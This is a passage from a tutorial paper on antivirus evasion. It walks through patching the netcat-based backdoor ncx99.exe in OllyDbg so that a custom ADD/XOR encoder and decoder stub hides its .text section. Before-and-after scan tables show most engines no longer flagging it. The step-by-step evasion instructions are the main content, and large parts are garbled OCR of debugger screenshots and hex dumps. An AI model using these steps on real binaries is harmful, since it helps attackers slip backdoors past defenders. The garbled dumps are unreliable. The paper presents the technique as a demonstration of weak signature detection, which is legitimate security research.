BO4ACECH| 26 7@ 63 /8|65 2C 20 65|72 72 6F ¢2|2@ 3 | BRLEERRE) BRHEATCD) pRE. | nonI9-BE2, <Hady leEntryPai
GO4ECEDG| 72 BB GF O6| 46 61 63 60|65 64 20 Fd|EF 2 .- =
GE4ECEER| 65 61 74 65|28 73 63 65| &C GC 20 73|74 & =
(T N Tl = e W] v sy v == ] e = =] i) |- = Bt B =) = = M)

Entry point of main module

| |F'aused

Figure 3.2.2 — Custom Encoder inside Ollydbg
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With our custom encoder implemented we’re almost done. It should be noted, that we could also
use other opcodes too, to encode our .text section. Such opcodes could be: sub, or, and, etc.

But for now we’re going to re-introduce some of the first few opcodes that was originally run by
the executable in the start. Now we could be simple and just place a jump to 00404C00, but we’ll
add the first couple of instructions ourselves as shown in the picture below.

OllyDbg - ncx99-002.exe - [CPU - main thread, module ncx99-002] - | I:Ilﬂ
@ File Miew Debug Trace oOptions ‘Windows Help _|5’|5|
B4 x| |+ 1] wil ¥4 WU| L|E[M[T][c]|..|] B|M|H]|

a | Registers [FFPUI -
ERX BEB8EEHE =

| peT—
nt EIFastoystemla

JLE SHORT BE46H77 EE FFFDFOEE

EZF BA12FFC4

EEF BA12FFF@&

EZI FFFDSE8E

EDI 7C912092 ntdll.7PCo13092

JHP BE4E4CH EIF 8848A7FE ncxI9-882. <Modu leEnt

| ES 8823 3z2bit @(FFFFFFFF)

1 ©C5 B8lB 32bit BIFFFFFFFF)

B S5 @822 32bit B(FFFFFFFF) o
1 DS BE23 32bit BLFFFFFFFF]

B FS BE2E 32bit YFFOERBACFFF]

S G5 BE88 MULL

5]

LastErr BEAEEECE ERROF_EMULA
EFL B@as8z46 (MHO.ME,E,BE.MS,FPE, GE

— STE empty +UMHORM DOOZ2 BEEEE0IE BE
ST1 empty -UMORM 2623 BEAREEEE 7F
5T2 empty +UMORM G845 OZEZEEFE OO
ST2 empty +UMORM G882 GOE0E0GEE GEF

TC81VEFF|(wpli il | RETURH to kernel32. FCE1VE o
BE12FFCE| FLPLZC98) dzi [RETURH from ntdll. PC9EFEY—
BEIZFFCC( FEFFOSEE@| P a
BE1Z2FFDE( FFFOFQE@| . =*a
BE12FFO4| 2EE44C7F0) ILTC| RETURH from SB541E3C to &
BEIZFFDS( @E12FFC3| = #.
BE12FFOC| S56ES4B3|3Tna
BE12FFEE( FFFFFFFF End of SEH chain
BE1Z2FFE4( VCE39AAS| 4G50 (SE handler

BEIZFFES| FC21vE36| Cpiil
BEIZFFEC| SEEEEE0E) .. ..
BE1Z2FFFE| BEECHEER) .. ..
BE1IZFFF4 | BEEEEEEE) .. ..
BE12FFFS| @840H7FH| p2E, | nor99-8602, <Modu leEntryPal

Address | Hex dump

BE4ECHEE| B0 DB BE 88| 00 BE B8 80 00 B B8 OO 38
HE4ECHLIA( B0 OB B8 B8| 00 B8 B8 860 FO 41 48 00| 7@
HE4ECH2E( B0 0B BB B8| 00 BE B8 B0 00 BE B8 OO0 B8
HE4ECESA|( 57 61 69 74|46 &6F F2 40|75 6C 74 69| 7@
bEdECcE4E( 62 6A 65 &3 vd F¥3 28 65| Y2 F2 &F Y2\ 3R
HE4ECHEA| B0 08 B8 88|45 &1 &9 &C| &5 &4 28 Y4 6F
bE4EcEEA| 65 61 F4 6520 52 65 61|64 B3 &8 65| G6C
HE4dECHFE|( 65 73 73 &9 6F 6E 28 V4|68 F2 65 61|64
HE4ECHESA| 72 Y2 6F FZ2( 20 30 28 25|73 68 688 00| 45
ood4EcE9E( 65 &4 28 V4| 6F 28 65 V2|65 62 FS rd4| 65
HE4ECEAA| 65 6C 6C BA[ 45 61 &9 &C| 65 64 28 74| 6F
bE4ECEEA| 65 61 74 &5 20 F3 68 65| 6C 6C 28 73| 74
HE4ECHCA| 20 YE &9 VA|[ S5 2C 28 65|72 ¥2 &F Y2\ 26

[0 T Pt 00700 Pt Pt i Pt 08 P ot O 050 0

BO4ECE00| 72 B0 B0 00|45 &1 &9 60|65 &4 20 74| EF BE1ZFFFC| BEREEE0E .. .. ==
PR4ACEER| 65 61 74 65|20 73 &5 ES|6C EC 20 73|74 6w -
AAAACAEA]L P4 26 FE eol FE o C o 2@l s Fo Ao SR Ao

| Entry paint of main madule | |F'aused

Figure 3.2.3 — Re-Introduced Opcodes in ncx99.exe

With that done you may wonder what the JMP 00404CO05 opcode is. That is a jump to the offset
aka memory address where the next instruction after the original PUSH -1 is located.

It should be noted that if we were to execute the file now, it would simply fail because the PE
file as it is right now, will encode the .text section and try to execute it. Since it becomes
encoded, then it will most likely fail and crash. But save the changes anyway and re-open it.

This is because we first need to use our encoder, to encode the file and afterwards change it to a
decoder, so the execution flow will seem completely normal even without a debugger.
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Chapter 4

Decoding Binary Files

After we’ve successfully implemented our encoder we need to save the encoded contents and
then change our encoder to a decoder as previously mentioned. This is relatively simple as you
will experience yourself.

When we hit the first instruction which moves 00401000 into the EAX register, we can right-
click this and select “Follow in Dump”. By pressing “F7” on your keyboard we can single-step
through the custom encoder, and watch our .text section become encoded.

To speed up this process, select the instruction right after the JLE SHORT 0040A775 opcode,
place a breakpoint by pressing “F2” on your keyboard and then press “F9” to execute until the
breakpoint stops the execution flow.

Some of the code and even your encoder may seem completely different now. This is because
the encoder altered all the opcodes in the .text data section, except your encoder even though it
may seem so. Copy the changes to an “executable” and save it as a new file.

4.1 — Altering the Encoder to a Decoder

Now open the newly created file and look at the custom encoder we implemented earlier.

As you can see almost all of the opcodes are “gibberish” and therefore we might have to press
CTRL+A to do a quick analysis in order to get our custom encoder visible. When it appears to
look like it should, we change two of the opcodes in order to make it a decoder.

Our initial encoder added 13 to the byte which EAX pointed to, then it XOR’d it with OF and
added 37 to end with. Now we need to reverse this, by deducting -37 to start with and then -13.
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DllyDbg - ncx99-003.exe - [CPU - -0 x|

|E| File Wiew Debug Trace Options ‘Windows Help _|5’|5|

B x| w0 w4 ¥4 U] LE|M|T|C].. JJJ

Registers (FFUI

ERx IBE4BAFTE ncx99-803, <HnduleEnt:
ECH HE1Z2FFEMH

ED: FCYBES14 ntdll.KiFastSustenCa
EEX® FFFODAGDH

ESF BE1ZFFCH

EEF HE1Z2FFFAH

E5SI BE4AFEEF

EOI 8812CE38

EIF 8848A7E8 ncxI9-003. B840A7ES

£5 & g mis ey
Lt
JLE_SHORT BEdER77 A1 55 GE23 3Zbit O(FFFFFFFF) =
S 8 FS bod oobit JFFDFODACFFE)
Lt
BEGEH7ES 5 S G5 BEEE HULL
s Wl W <05 LastErr eGOEGECE ERROR_EMUUGR
F_noananin_cha_ wn dE (NG, PO. GE
Imm=gr ('7') P M T2 P R
Xp ooceoses oo
1950532700 —
839515501 A~ _
00404778 |ADD BYTE PTR DS:[E4X]-19 [ i R
Address [Hex Ceivary ”E“’ -
EE4A1A8E 08 2 ™ Kapn gize S};EEEEE |
BE4E1A1G| 53 E o
BE461AZ6| AE 5 _ . P ol Cronae YoTC
eaaaiazal 2 & W Fll rest with NOPs F5emble 03 eppmet Feg)
BEda1A4E| 72 1 Lpal
BB41A50| 52 S prrrrrr e TR A
BE4E1REE| BF 47 A5 HE| 9F 13 95 55|55 BB 63 53| 53 DB GF Or| #50%f1a5+. comw EE T A A
BE4E1E7E|BC 20 47 54|54 54 54 20|12 B4 EE 92|00 OF 7 10|. 1GTTTTGI{T el OLSrrEs| ohoionea] el
BO461620| E6 SF &F 47|ES £7 6F 63| A2 A9 90 AB| 72 GE 93 52| pAcGpoociadhcas polZfPES) rholroan|weu
PE4E1E98| A8 AZ 54 1C| 72 18 CR S0|SF BE SF AB|AE AE AD AD| &6Tox k=i 4 R35335 o B R
Ga461600( A9 49 AE 53|52 92 E2 G4|GE FF 72 92|52 A2 2B 66|rISSREST™ cESU+F e
BO4616EG| CA 53 52 DB|6F 47 A2 AB|SF 12 92 53| 2B B4 &2 G| =55lsGisflis oS Et Ea el
BA4G16CA( 52 CF 90 GF|DOB ©F 57 BC|S0 47 54 G4|E54 54 PG AL|SEE Lel), GTTTTAL e
BE4E1808| 54 SE B3 72|92 53 5B 15| B4 65 93 DB BF 57 18 CF| T-8CESGI{T it SRR
PO4BIEER| B0 62 A9 54|CO 2F 6F F2|C2 AG GF E&|SF 6F 72 CO|\crT=Aosth_pRozt| W -
AEAEIRER] o s fE Col an A8 QE ol 09 CH Cn 9 SE FE Cd CEl Cootyk Sucbes f o T~

| | FPauzed

Figure 4.1.1 — Changing the Encoder to a Decoder

We will still use the add opcode and of course xor, but we’ll only need to change the values as
mentioned previously, which you can also see in the picture above in figure 4.1.1.

When we’ve done that we copy our changes to an executable, and save it as a new file.

In theory the PE file should work now just as it did to start with, but it is also encoded too
making it able to bypass some AV-scanners, which makes it more interesting.
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4.2 — Testing the Custom Decoder

Now it’s time to test if our encoded file will decode properly and execute gracefully.

OllyDbg - ncx99-004.exe - [CPU - main thread, module ncx99-004 | - | Ellﬂ
|E| File Miew Debug Trace oOptions ‘Windows Help _|5’|5|
Bl x| »| > 0] s34 WU L] E|M[T|c|..] B|M| H]|

&l Begisters [(FFUI -
EQX BE4BLEAL noxoo-004, G04E106]
ECH @612FFER
EDF FCO9REE1d ntdll.KiFastSustenCa
EEX FFFOFGEG
EEF bgicFrra
BE4E07 S JLE SHORT BG407T Eil madneer
EDI @61ZB436
EIF GE40A7E4 non99-064, BE4EATEE
E & Gt Bai8 2obit BIEFFFFFFFI
Lt
P _B484CH A1 ST BEZZ 32hit O(FFFFFFFF) =
? @ D05 6823 22hbit OLFFFFFFFF)
51 FS BEZE 2Phit FFFOESGELFFF)
5 S G5 BEEE HULL
<0 % LastErr eGEEGECE ERROR_EMUUGE
ump Lo taken m={ EFL B0BE0233 (N0, B, NE, BE, 5, FO, L, L
Dest=non29-604, BA4EATFS M =70 empty -UNORM BS99 GRSEGESS 66
5T1 empty 7.7d4441E2E01 0509532700 —
STZ empty @.02113412150951500 1 Be—:
T 575 eppry +UNORM 7154 DOOGEE00 oo™
Address |Hen dump ASCII " FTLEIVEFY wplil| o
BOI01060 | B2 2 GF OB 90 90 2B BE| G2 G 52 LD 95 FE 72 90| &% WatEHARSoonS ok polsPRLE) DolcBAam B, | ==
BO461610| 52 E6 87 &F| 47 68 18 CF| 42 02 5F &F| 67 A2 AD 90| SpooECtECERogs 3% pRLZFFLL) GEdRTEer |oud.
PR4A1620| AE 53 SF 93|53 E6 SF EF| 73 A BC SF|E&F &F 47 53| %5 aSpfosd. BooGS oa1orrna| Gacaaeon| LTe
Ba461650| 52 52 CA 97| EF EB CA 97| &6F &7 AL CA|S0 47 54 1C| S uok™hoai=1GT. polZrrDd) asddliDiat]
Ga4E1640| 72 16 CO 20| &2 EE 7R AG|AG AG AB AB| A9 49 AB 53| wkSicd 2435330145 DR1ZEPDS) Dalzproel t i
BO4G1650| 52 92 52 G4|SE FF 72 92|52 A2 2B B2|CA 58 52 DO|REST cfSuHEsSoh oolZrFOL| EARCEDNE| 103
BO4G16E0| BF 47 AZ AB|SF 12 92 53| 2B 00 52 53|52 DB OF GF| ®E0SfNE5+, cootel ERp =] s 443 P
BO4B1E7O(BC 20 47 54|54 54 54 20|12 B4 EE 92|00 OF 7 10| . LGTTTTGI{T Glslp GBiSFFES| Seaizooa|cont
BO461620| E6 SF &F 47|ES £7 6F 63| A2 A9 90 AB| 72 GE 93 52| pAcGpoociadhcas polZfPES) rholroan|weu
BE4E1E96| A8 AZ 54 IC| 72 18 CA S0|SF BE SF AB| A9 A8 AD AD| 46Tix k=1 4 R35335 T e R
BO461600| A9 49 AE 53|52 92 52 G4|GE FF 72 92|52 A2 2B 66|rI%SREST™ cESU+f DolZrrEn) ooooooaml----
GO4616EGA| CA 53 52 DB|6F 47 A2 AB|9F 13 92 53| 2B B4 62 52| =5SlsGisflis oS ELSERRY| DoooEaadlcss
BO461608( 52 CF 90 SF| DG ©F 57 BC|30 47 54 G4|E54 54 AB AL|SEE Lel), 1GTTTTA( i B
GO461600| 54 GE 62 72|92 52 5@ 13| B4 ES 92 DO|BF GF 10 CF| T erEooiHd il s |
BR4EIEEG| 30 62 A9 54|CO 2F &F F2|CZ AS GF E&|SF &6F 72 CA|icrT=AosSi_pRozt| W -
AAAARIAEARI = cF cF ~olan dB DE g 09 CE o Cgo 9F | s PR C4 CE | -l =11 = LT
| |F'auseu:|

Figure 4.2.1 — Encoded Overview of ncx99.exe

In the picture above, only the first hex character has been decoded back to its original “state”.
(Please note that a character in this case, is a byte which is the same as 8 bits made of binary.)

By placing a breakpoint right after JLE SHORT 0040A775, and then running the PE file until it
stops executing, we’ll see that the entire .text section has changed back to its original state.

If we execute the first couple of re-introduced opcodes including the long jump back to where
the real start of the program is, we’ll see that it may still look obfuscated or encoded.
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OllyDbg - ncx99-004.exe - [CPU - main thread, module ncx99-004 | - | Ellﬂ
|E| File iew Debug Trace Options ‘Windows Help - | & |5|

B x| w| 0] w4 ¥4 U] LE|M|T|C].. JJJ

Registers (FFUI

ERx IBE4BAFTE ncy99-804, <HnduleEnt:
ECH HE1Z2FFEMH

ED: FCYBES14 ntdll.KiFastSustenCa
EEX® FFFOF@QQ

ESF BEI1ZFFEC

EEF HE1Z2FFFAH

E5SI BE4AFEEF

EOI 8812B430

EIF 88484CH5 ncxI9-004, 98404005

B ES @823 3z2bit @(FFFFFFFF)
8 CS 88lE 22bit B(FFFFFFFF)
1 S5 @822 32bit B(FFFFFFFF) b
B DS @823 32bit BIFFFFFFFE)
g FS BE3E 22bit FPFFOEGERIFFF)
5]
5]

GE 44 CHE

G5 @E88 MULL
LastErr B8E0EECE ERROR_EMULIAE

Stack [BB1ZFFES1=kerne 2. 7051 o00 S EF- 9@eaaz1= [HO, HE, NE. A, NS, PO, BE
Trm=ncH 99-504 . BE4EEDEE 20 =10 enpty —UNORM BESE BREEOGES &8
Jump from 4BHPED ST1 empty 7.74441E550159695327 0
STZ empty B.02115412 1559515001 Be—s
vl 575 cmpty +UNORH 7154 DOEREEEE G0

Address [Hex dump ASCIT - FFFFFFFF -
BEID1000 | 8o EC LC 52| GE Gf ES G| Ol OB 60 OB 20 BE 21 41| EwCoulats, . 1=q th e e R b
BA4A1018| B0 S0 40 24|BC 3% DB SE|F@ 9B 44 24| 2C 51 52 G&|.1L:. @iz iD5, 05 DR1EFFrd) oaepoacdl ..
BR4A1AZA| 62 BA 14 49|08 S0 S4 24|20 53 C7 44|24 24 BC 86 |H.TE, 115 SIHDSS. . DR1ZFEFS) oodoprrol poe.
BA4A1A38| B0 B@ 99 50|24 25 89 GC|24 2C 52 89 46 BC FE OF|..&-5(&w8, REF. i -
BA4A1A4E| 3B C2 29 46| 18 75 39 GS| 53 53 53 G3|cA BA &2 88| : FEFROSSESSioh.

BA4A1A5H| @1 41 B9 FF| 1S B4 21 41|08 5@ E2 61 29 B9 06 22| 6A, = 1Q.PEas..5
BA4A1AEEH| 04 BC 5B 52|54 CF 49 B6|ES B2 10 B8 B8 23 04 1C|—.PhTL@, 2|k, .50
BE4B1078| C7 46 BC FF|FF FF FF 22|CA SF EE GB 22 C4 1C C3||F. SL_~LEt
BA4A1A58| 50 44 24 GC| S0 4C 24 10|5@ 53 56 62|28 1G 40 88| 1DF. 1L PFEUL SE.
BR4A1A9A| 53 51 FF DO7| 3B CS 59 46|14 75 44 53|53 53 53 53 su ir; FEFuDEsSSS
BR4A1AA8| 60 BA 58 99|81 41 B8 FF|15 B4 21 41|B@ 5@ ES B0|j.h.0A. &1
Bb40105| 55 8 B 55| b4 BE OB GG =4 o 45 48| ES oF o 68| b. EoEnT e, § v
BA4A1ECA| BA 9B 56 14 22 C4 1C 7|46 GBC FF FF|FF FF 53 52| . iUM&-LIIF. SR
BA4E1E08 FF 15 B@ 2141 @8 33 C@|SF SE SB 93|C4 1C 03 26| SHtA.SC_“[E-Fi =

AE4A1EER| 456 18 &R FF| 29 44 24 28|28 4E 14 20|44 24 28 29| Fki D5 THNDE Ef|+ -
ARG RER] A0 2d 2 SRl Ce [ Co CHlen @2 o0 cd 2 S EE JCll Ss IMcE iwsTod o
| |F'auseu:|

. @ o

Figure 4.2.2 — The Beginning of the Decoded PE File

This does not really matter, as we can hit CTRL+A and do a quick analysis of the code. When
we’ve done that we may see that our executable PE file is back to its original state again and if
we press “F9” we may see that our program is executing without any errors.

If that is the case then we’ve encoded the binary file and even decoded it successfully.

Even scanning the file now with a lot of different AV-scanners will reveal different results, if the
file is just scanned and not executed since we haven’t implemented any bypassing techniques for
heuristic (malicious) opcode detection.
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e Select ChHWWINDOWS  system32' cmd.exe

ifind “"LISTEW"
LISTENING
LISTENING
- LISTENING
87.249 .177.154:139 - LISTENING
127.8.8.1:1828 - LISTENING

Figure 4.2.3 — Netstat Overview of ncx99.exe running

If we scan the file with AVG it may be undetectable now, or as script kiddies tends to say: FUD.

This expression means “Fully Undetectable” and is widely used with tools such as cryptors.
Most of these use another way of making the PE files able to bypass the AV-scanners, which is
e.g. by encrypting the entire file with RC4 and then pack a stub decoder into the file.

This will of course alter the size of the file in many cases. In the picture below you’ll see that
many of the AV’s either didn’t know what was scanned or they didn’t flag it as malicious at all.

Scanners

@ ArcaVlir  z010-06-12 Found nothing GDAFA :0i0-06-15 Trojan.Peed.Gen

NLOS 2010-06-15% Found nothing S AKARUS 2010-06-18 not-a-virus:RemoteAdmin.Win32.NetCat
# AVG  z010-0s-18 Found nothing I<A$I”EIISI<Y§ 2010-06-18 Type_Win32

(. AMIVI  2010-06-18 Found nothing NOD32 -010-06-12 Found nothing

(£ bitdefender >n10-0e-12 Trojan.Peed.Gen FPANDA  2010-05-12 Found nothing

@ ClamAY 3510-06-18 Found nothing CQuick Heal =zo010-06-18 Found nothing
(&Jer... 2010-06-15 Found nothing SOPHOS :zoi0-06-18 SusfunkPacker

SDIWEB® -010-06-15 Tool.Netcat VBA32 z010-06-12 Found nothing

@FPROT 2010-06-18 Found nothing firus 2010-06-1% Found nothing

> F-5ecure 2010-06-12 Type Win32

Figure 4.2.4 — AV-Scan of highly modified ncx99.exe
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Chapter 5

Conclusion

The purpose of this paper was to demonstrate how easy it is to bypass signature-based Anti-
Virus scanners which do not use heuristics at all or perhaps only in an insufficient way which
makes a hacker able to outsmart the AV-system in use.

Antivirus Database Engine Result

a-squared 18062010 5007 Backdoor Win32 Moxlll
HAarast 1006170 a0 WWin32:Mex [Tr]

AnG 271129480 3.00725 BackDoor. Generic12 BMOS
Awira Antivir FA0BZT 76058

BitDefender 18082010 7002555 Backdoor MCX_S93
Clarndh' 18,/068/2010 0.95.1

Cormodo 34B5 313578 Backdoor IRC. 2dBaot. NP
Dr.WWeb 18062010 5.0 BackDoor. Angel
F-FROTE 20100618 45185 WM alwarel3370
G-Data 21.371 2.0.7309.847 Backdoor Win32 Mox b A
lkarus T3 18062010 1.1.84.0 BackdoorWWin3Z Mox
Kaspersky 18082010 9.0.0.736 BackdoorWin32 Mecx.b
MOD32 A208 4.0.474 Win32MICK. 9%

Fanda 18062010 10.03.0 BokMonetent
Trendhicro 251 8.120-1004 TROJ MCHE A

WBAZL 18/06/2010 312122 BackdoorWind2 Mox. b

Figure 5.1 — ncx99.exe before any modifications

As you can see almost all of the AV-scanners detects the original ncx99.exe by default.
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If we alter this file heavily then the results are quite amazing. The amount of code added and
changed can be as little as below 30 bytes which is the equivalent of 30 characters you can type
on your keyboard. Even the size of the file may have been unaltered too, though the contents of

the file may have been encoded with a custom encoder.

Antivirus Datahase Engine Result

a-squared 18062010 5007 Riskware RemaoteAdmin Win32. MetCatllk
Aurast 100E517-0 5.0

AWG 27112946 900725

Awira Antivir F 08127 7.B.0.58

BitDefender 18/06/2010 7.0.0.2555 Trojan.Peed. Gen

Clarnds’ 18/06/2010 0.95.1

Comoda 3465 3.13.879

Or.Weh 18/06/2010 a0

F-FPROTE 20100615 4.5.1.85

G-Data 21371 2.0.7309.847 E,Dfﬁi‘?g liuii?;fe? HrBaladBeelebrb
lkarus T3 18062010 1.1.84.0

Kaspershky 18062010 9.0.0.736 Type WindZ

MOD3Z 5208 4.0.474

Fanda 18/06/2010 10.0.3.0

Trendhdicra 2571 9.120-1004 Fak_Generic.001

WBATY 18/06/2010 312122

Figure 5.2 — ncx99.exe after heavy modifications

As you can see for yourself in the picture above, a lot of the AV-scanners were bypassed.
Kaspersky detected this file as potentially malicious with its heuristics system, hence the reason
Type_Win32 is stated which means it is probably a new variant of a virus, trojan, etc.

In any case it is always a good idea to encode the primary signature of the file, though usually
there is more than one signature so it isn’t piece of cake for any hacker to bypass AV-detection.
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